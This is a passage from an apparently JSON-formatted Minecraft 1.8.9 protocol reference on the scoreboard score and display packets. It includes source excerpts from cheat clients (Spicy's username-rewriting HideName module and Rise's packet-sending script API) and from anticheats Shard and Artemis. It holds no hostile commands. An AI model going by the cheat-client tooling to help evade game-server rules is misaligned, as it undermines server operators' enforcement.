\"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setObjective(packet.getObjectiveName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mc.getSession().getUsername() + \" §f(§a\" + SpicyClient.account.username + \"§f)\"));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (packet.getName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setName(packet.getName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mc.getSession().getUsername() + \" §f(§a\" + SpicyClient.account.username + \"§f)\"));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The S3CPacketUpdateScore branch on lines 154-165 appends the real account username in green to both score name fields. This is a name-reveal feature: the owner of an alt can identify which account is displayed in sidebars and chat.",
      "code_source": "Spicy, info/spicyclient/files/Account.java",
      "vanilla_hook": "EventPacket (pre phase), routed through Account.onEvent.",
      "anti_cheat_notes": "None. The rewrite is client-side after decode; the server only ever sent the alt username.",
      "variations": "HideName performs the same two-field rewrite with a fake name; Account.java uses the real account name from the login session."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API so scripts can construct, read, or match it.",
      "how_it_works": "S3CPacketUpdateScore is listed in the clientbound Class array of NetworkAPI.java (line 103). Scripts use the table to instantiate or filter the packet.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S3CPacketUpdateScore at line 103. Identical file ships in Rise 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly.",
      "anti_cheat_notes": "None. Registry only.",
      "variations": "6.2.4 ships the byte-identical file with the Client-release2 path prefix."
     }
    ],
    "general_hooks": "Spicy: EventPacket pre on the client event bus. Rise 6.x: script API table.",
    "client_variations": "Spicy mutates the packet object in place (setObjective/setName). Rise 6.x has no module code for this packet, only the script registry.",
    "related": [
     "S3BPacketScoreboardObjective",
     "S3DPacketDisplayScoreboard",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "S3C is the single-row scoreboard mutation, and no anticheat flags it. The only live consumer is Shard's monitor, which renders its status sidebar by emitting the scoreboard family itself, including the S3C row updates. The rest of the corpus is registrations (Negativity PacketType SCOREBOARD_SCORE, Artemis PacketRepository SERVER_PLAY+57 with the PacketPlayServerScoreboardScore wrapper and HardcodeMap) and keyword noise: intave's hits handle the sibling S3E team packet and matched on the Scoreboard search term, NCP's CollisionUtil reads the Bukkit scoreboard API for team collision predicates, and amnoah's ReloadCommand mentions BetterScoreboard in a comment.",
     "checks": [
      {
       "name": "Monitor sidebar bridge (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "The anticheat's own scoreboard HUD: Shard renders its monitor sidebar by sending the client the scoreboard packets itself, including the S3C row updates.",
       "how_it_works": "ScoreboardPacketBridge constructs and sends the full scoreboard family to a viewer: WrapperPlayServerScoreboardObjective for the objective (adventure-component title on 1.20.3+ with a legacy fallback), WrapperPlayServerDisplayScoreboard for the slot binding, and WrapperPlayServerUpdateScore for each row, with CREATE_OR_UPDATE_ITEM carrying the score value and REMOVE_ITEM handling deletions on servers below 1.20.3 (WrapperPlayServerResetScore replaces the remove path on 1.20.3+). updateEntry is the S3C producer: one packet per sidebar row per refresh.",
       "detects": "Nothing cheat-related. It is the anticheat as scoreboard producer; keeping the monitor readable is a HUD concern, not a flag.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardPacketBridge.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.monitor.core\n\nimport com.github.retrooper.packetevents.PacketEvents\nimport com.github.retrooper.packetevents.manager.server.ServerVersion\nimport com.github.retrooper.packetevents.protocol.score.ScoreFormat\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDisplayScoreboard\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerResetScore\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerScoreboardObjective\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateScore\nimport java.util.Optional\nimport net.kyori.adventure.text.Component\nimport org.bukkit.entity.Player\n\ndata class ObjectiveSpec(\n  val name: String,\n  val slot: Int,\n  val title: String,\n  val legacyTitleFallback: String,\n  val blankScoreText: String,\n)\n\ndata class ScoreDisplay(val entryDisplay: String?, val scoreText: String?)\n\nclass ScoreboardPacketBridge(private val cache: ComponentCache) {\n  fun supportsFancyText(viewer: Player): Boolean =\n    serverSupportsFancyText() && clientVersion(viewer).isNewerThanOrEquals(ServerVersion.V_1_20_3)\n\n  fun createObjective(viewer: Player, spec: ObjectiveSpec) {\n    val fancy = supportsFancyText(viewer)\n    val title = if (fancy) spec.title else spec.title.ifBlank { spec.legacyTitleFallback }\n    val create =\n      if (fancy) {\n        WrapperPlayServerScoreboardObjective(\n          spec.name,\n          WrapperPlayServerScoreboardObjective.ObjectiveMode.CREATE,\n          cache.component(title),\n          WrapperPlayServerScoreboardObjective.RenderType.INTEGER,\n          ScoreFormat.fixedScore(cache.component(spec.blankScoreText)),\n        )\n      } else {\n        WrapperPlayServerScoreboardObjective(\n          spec.name,\n          WrapperPlayServerScoreboardObjective.ObjectiveMode.CREATE,\n          cache.component(title),\n          WrapperPlayServerScoreboardObjective.RenderType.INTEGER,\n        )\n      }\n    sendPacket(viewer, create)\n    sendPacket(viewer, WrapperPlayServerDisplayScoreboard(spec.slot, spec.name))\n  }\n\n  fun displayObjective(viewer: Player, name: String, slot: Int) {\n    sendPacket(viewer, WrapperPlayServerDisplayScoreboard(slot, name))\n  }\n\n  fun removeObjective(viewer: Player, name: String) {\n    sendPacket(\n      viewer,\n      WrapperPlayServerScoreboardObjective(\n        name,\n        WrapperPlayServerScoreboardObjective.ObjectiveMode.REMOVE,\n        Component.empty(),\n        null,\n      ),\n    )\n  }\n\n  fun updateEntry(\n    viewer: Player,\n    objective: String,\n    entry: String,\n    score: Int,\n    display: ScoreDisplay,\n  ) {\n    sendPacket(viewer, updateScorePacket(viewer, objective, entry, score, display))\n  }\n\n  fun removeEntry(viewer: Player, objective: String, entry: String) {\n    val packet =\n      if (supportsFancyText(viewer)) {\n        WrapperPlayServerResetScore(entry, objective)\n      } else {\n        WrapperPlayServerUpdateScore(\n          entry,\n          WrapperPlayServerUpdateScore.Action.REMOVE_ITEM,\n          objective,\n          Optional.empty(),\n        )\n      }\n    sendPacket(viewer, packet)\n  }\n\n  private fun updateScorePacket(\n    viewer: Player,\n    objective: String,\n    entry: String,\n    score: Int,\n    display: ScoreDisplay,\n  ): PacketWrapper<*> {\n    if (!supportsFancyText(viewer)) {\n      return WrapperPlayServerUpdateScore(\n        entry,\n        WrapperPlayServerUpdateScore.Action.CREATE_OR_UPDATE_ITEM,\n        objective,\n        Optional.of(score),\n      )\n    }\n    val format =\n      display.scoreText?.let { ScoreFormat.fixedScore(cache.component(it)) }\n        ?: ScoreFormat.blankScore()\n    return WrapperPlayServerUpdateScore(\n      entry,\n      WrapperPlayServerUpdateScore.Action.CREATE_OR_UPDATE_ITEM,\n      objective,\n      score,\n      display.entryDisplay?.let { cache.component(it) },\n      format,\n    )\n  }\n\n  fun serverSupportsFancyText(): Boolean =\n    PacketEvents.getAPI().serverManager.version.isNewerThanOrEquals(ServerVersion.V_1_20_3)\n\n  private fun clientVersion(viewer: Player): ServerVersion =\n    PacketEvents.getAPI().playerManager.getClientVersion(viewer).toServerVersion()\n\n  private fun sendPacket(viewer: Player, packet: PacketWrapper<*>) {\n    PacketEvents.getAPI().playerManager.sendPacket(viewer, packet)\n  }\n}\n// NOTE (AI): WrapperPlayServerUpdateScore is the PacketEvents name for S3CPacketUpdateScore. Row removal falls back to the S3C REMOVE path (lines 96-109) for servers below 1.20.3, and the same bridge emits the S3B objective (lines 46-68) and the S3D display binding (line 67) that the monitor sidebar needs.",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardPacketBridge.kt",
       "variations": "The rest of the corpus does not read S3C. Negativity and Artemis only register the packet class (SCOREBOARD_SCORE constant, SERVER_PLAY+57 repository entry, wrapper interface); intave's EntityCollisionDisabler and ScoreboardAccessor handle the sibling S3E team packet, matched here only by the Scoreboard keyword."
      },
      {
       "name": "TextComponentScore emulator render (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Render chat score components inside the world emulator by substituting the score value for a named objective and entry.",
       "how_it_works": "TextComponentScore is the moderna text-component subclass behind the score placeholder. Its resolve path looks up the objective on the emulated world's Bukkit scoreboard and writes score.getScorePoints() into the value (lines 61-77), and getUnformattedComponentText returns that value. The scoreboard lookup is inside a resolve() method that is commented out in the cloned source, so the class never queries the scoreboard at runtime. The corpus hit is the Scoreboard keyword, not the packet: Artemis reads score state through the server API and never parses S3C.",
       "detects": "Nothing. Score text in the emulated chat pipeline only; the renderer substitutes what the server scoreboard already holds, and in the clone even that path is disabled.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/emulator/moderna/text/TextComponentScore.java =====\npackage ac.artemis.core.v4.emulator.moderna.text;\n\n\nimport ac.artemis.core.v4.emulator.moderna.ITextComponent;\nimport ac.artemis.core.v4.emulator.moderna.TextComponentBase;\n\npublic class TextComponentScore extends TextComponentBase\n{\n    private final String name;\n    private final String objective;\n\n    /** The value displayed instead of the real score (may be null) */\n    private String value = \"\";\n\n    public TextComponentScore(String nameIn, String objectiveIn)\n    {\n        this.name = nameIn;\n        this.objective = objectiveIn;\n    }\n\n    /**\n     * Gets the name of the entity who owns this score.\n     */\n    public String getName()\n    {\n        return this.name;\n    }\n\n    /**\n     * Gets the name of the objective for this score.\n     */\n    public String getObjective()\n    {\n        return this.objective;\n    }\n\n    /**\n     * Sets the value that is displayed for the score. Generally, you do not want to call this as the score is resolved\n     * automatically. (If you want to manually set text, use a {@link TextComponentString})\n     */\n    public void setValue(String valueIn)\n    {\n        this.value = valueIn;\n    }\n\n    /**\n     * Gets the raw content of this component (but not its sibling components), without any formatting codes. For\n     * example, this is the raw text in a {@link TextComponentString}, but it's the translated text for a {@link\n     * TextComponentTranslation} and it's the score value for a {@link TextComponentScore}.\n     */\n    public String getUnformattedComponentText()\n    {\n        return this.value;\n    }\n\n    /**\n     * Resolves the value of the score on this component.\n     */\n    /*public void resolve(ICommandSender sender)\n    {\n        MinecraftServer minecraftserver = sender.getServer();\n\n        if (minecraftserver != null && minecraftserver.isAnvilFileSet() && StringUtils.isNullOrEmpty(this.value))\n        {\n            Scoreboard scoreboard = minecraftserver.getWorld(0).getScoreboard();\n            ScoreObjective scoreobjective = scoreboard.getObjective(this.objective);\n\n            if (scoreboard.entityHasObjective(this.name, scoreobjective))\n            {\n                Score score = scoreboard.getOrCreateScore(this.name, scoreobjective);\n                this.setValue(String.format(\"%d\", score.getScorePoints()));\n            }\n            else\n            {\n                this.value = \"\";\n            }\n        }\n    }*/\n\n    /**\n     * Creates a copy of this component.  Almost a deep copy, except the style is shallow-copied.\n     */\n    public TextComponentScore createCopy()\n    {\n        TextComponentScore textcomponentscore = new TextComponentScore(this.name, this.objective);\n        textcomponentscore.setValue(this.value);\n        textcomponentscore.setStyle(this.getStyle().createShallowCopy());\n\n        for (ITextComponent itextcomponent : this.getSiblings())\n        {\n            textcomponentscore.appendSibling(itextcomponent.createCopy());\n        }\n\n        return textcomponentscore;\n    }\n\n    public boolean equals(Object p_equals_1_)\n    {\n        if (this == p_equals_1_)\n        {\n            return true;\n        }\n        else if (!(p_equals_1_ instanceof TextComponentScore))\n        {\n            return false;\n        }\n        else\n        {\n            TextComponentScore textcomponentscore = (TextComponentScore)p_equals_1_;\n            return this.name.equals(textcomponentscore.name) && this.objective.equals(textcomponentscore.objective) && super.equals(p_equals_1_);\n        }\n    }\n\n    public String toString()\n    {\n        return \"ScoreComponent{name='\" + this.name + '\\'' + \"objective='\" + this.objective + '\\'' + \", siblings=\" + this.siblings + \", style=\" + this.getStyle() + '}';\n    }\n}\n// NOTE (AI): The score lookup at line 65 sits inside a resolve() method commented out in the cloned source. Included as the only Artemis scoreboard-domain consumer beyond the wrapper interfaces.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/emulator/moderna/text/TextComponentScore.java",
       "variations": "None. Artemis's PacketPlayServerScoreboardScore, PacketPlayServerScoreboardObjective, PacketPlayServerScoreboardObjectiveDisplay and PacketPlayServerScoreboardTeam interfaces are repository wrappers only."
      }
     ]
    }
   },
   "wiki_notes": [
    "The score holder name is an arbitrary string rather than a real player name, so fake-player entries and raw UUID strings are legal row keys.",
    "MCP 1.8.9 S3CPacketUpdateScore implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleUpdateScore; wire serde is readPacketData/writePacketData via readEnumValue, readStringFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: ServerScoreboard.func_96536_a sends new S3CPacketUpdateScore (line 33): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/scoreboard/ServerScoreboard.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3CPacketUpdateScore/",
   "mcp_path": "net/minecraft/network/play/server/S3CPacketUpdateScore.java",
   "group": "play-client",
   "logic_classes": [
    "ServerScoreboard"
   ]
  },
  {
   "id": "S3DPacketDisplayScoreboard",
   "hex": "0x3D",
   "dec": 61,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Display Scoreboard",
   "desc": "Sets which scoreboard objective is displayed in a position (sidebar, list, below name).",
   "tags": [
    "scoreboard",
    "display"
   ],
   "fields": [
    {
     "name": "position",
     "type": "byte",
     "desc": "0=sidebar, 1=playerList, 2=belowName"
    },
    {
     "name": "objectiveName",
     "type": "String",
     "desc": "Objective to display (empty string to clear)"
    }
   ],
   "encoding": [
    [
     "Position",
     "byte",
     "0=sidebar, 1=playerList, 2=belowName"
    ],
    [
     "Objective",
     "String",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleDisplayScoreboard()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Binds an objective to a display slot: a position byte (0 sidebar, 1 player list, 2 below name) followed by the objective name string. An empty name clears the slot. The packet is tiny and is sent by ServerScoreboard whenever the display binding changes and during full replays on objective creation and removal. The HUD reads the bound objective each frame and renders its rows from the client scoreboard."
     },
     {
      "h": "Vanilla handling",
      "p": "handleDisplayScoreboard sets or clears the objective in the given slot. The visible sidebar depends on the combination of S3B (objective definition), S3C (rows), and S3D (binding): S3D alone paints nothing, it only points the renderer at an objective."
     },
     {
      "h": "Why clients touch it",
      "p": "Almost nothing across the 8 clients. Spicy's HideName imports the class (line 15) but its handler has no S3D branch, mirroring the dead S3B import. Rise 6.x registers the class in the script API. No module cancels the display binding; a cancel would freeze the previous objective in the slot, a HUD artifact none of the 8 clients bothers to produce."
     },
     {
      "h": "Exploit surface",
      "p": "Nil for anti-cheat. The slot byte is not validated: values outside 0-2 are stored in the client's 19-entry slot array and render nowhere. Cancelling S3D only affects local rendering. The packet carries no timing or movement state, so no anti-cheat in the corpus measures it."
     }
    ],
    "overview": "Display slot binding. In the 8-client corpus it is an import in Spicy's HideName and a script API entry in Rise 6.x; no module binds, clears, or blocks the slot.",
    "server_handling": "ServerScoreboard sends S3D in setObjectiveInDisplaySlot (both the set and clear paths) and during full replays on objective creation and removal, with a null objective serialized as an empty name string. The server never reads the binding back from the client.",
    "protocol_notes": "Two fields: position byte then objective name string. An empty name clears the slot. The position byte indexes the client's 19-slot display array directly, so out-of-range values are stored but never rendered.",
    "anticheat_landscape": "Not monitored. S3D carries a slot index and a display string, no state an anti-cheat validates. Tampering is client-visual only.",
    "modules": [
     {
      "name": "HideName",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Import-only reference. The module hides the player's username from rendered name surfaces, but this packet class is never branched on.",
      "how_it_works": "Imports S3DPacketDisplayScoreboard at the top of the file. The EventPacket pre handler only branches on S02PacketChat and S3CPacketUpdateScore; the S3D import is unused.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/HideName.java =====\npackage info.spicyclient.modules.player;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S3BPacketScoreboardObjective;\nimport net.minecraft.network.play.server.S3CPacketUpdateScore;\nimport net.minecraft.network.play.server.S3DPacketDisplayScoreboard;\nimport net.minecraft.util.ChatComponentText;\n\npublic class HideName extends Module {\n\t\n\tpublic ModeSetting mode = new ModeSetting(\"Name\", \"You\", \"You\", \"MooshroomMashUp\", \"Fox_of_floof\", \"lavaflowglow\", \"_Floofy_Fox_\");\n\t\n\tpublic HideName() {\n\t\tsuper(\"HideName\", Keyboard.KEY_NONE, Category.PLAYER);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(mode);\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\tthis.additionalInformation = mode.getMode();\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventPacket packetEvent = (EventPacket) e;\n\t\t\tif (packetEvent.packet instanceof S02PacketChat) {\n\t\t\t\t\n\t\t\t\tS02PacketChat packet = (S02PacketChat) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getChatComponent().getUnformattedText().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())) {\n\t\t\t\t\tpacket.chatComponent = new ChatComponentText(packet.getChatComponent().getFormattedText().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telse if (packetEvent.packet instanceof S3CPacketUpdateScore) {\n\t\t\t\tS3CPacketUpdateScore packet = (S3CPacketUpdateScore) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getObjectiveName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setObjective(packet.getObjectiveName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (packet.getName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setName(packet.getName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The S3DPacketDisplayScoreboard import on line 15 is never referenced by the handler. The module's live logic is the S3CPacketUpdateScore branch on lines 52-63.",
      "code_source": "Spicy, info/spicyclient/modules/player/HideName.java",
      "vanilla_hook": "EventPacket (pre phase).",
      "anti_cheat_notes": "None. No packet of this class is mutated.",
      "variations": "None in the corpus."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API.",
      "how_it_works": "S3DPacketDisplayScoreboard is listed in the clientbound Class array of NetworkAPI.java (line 104).",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            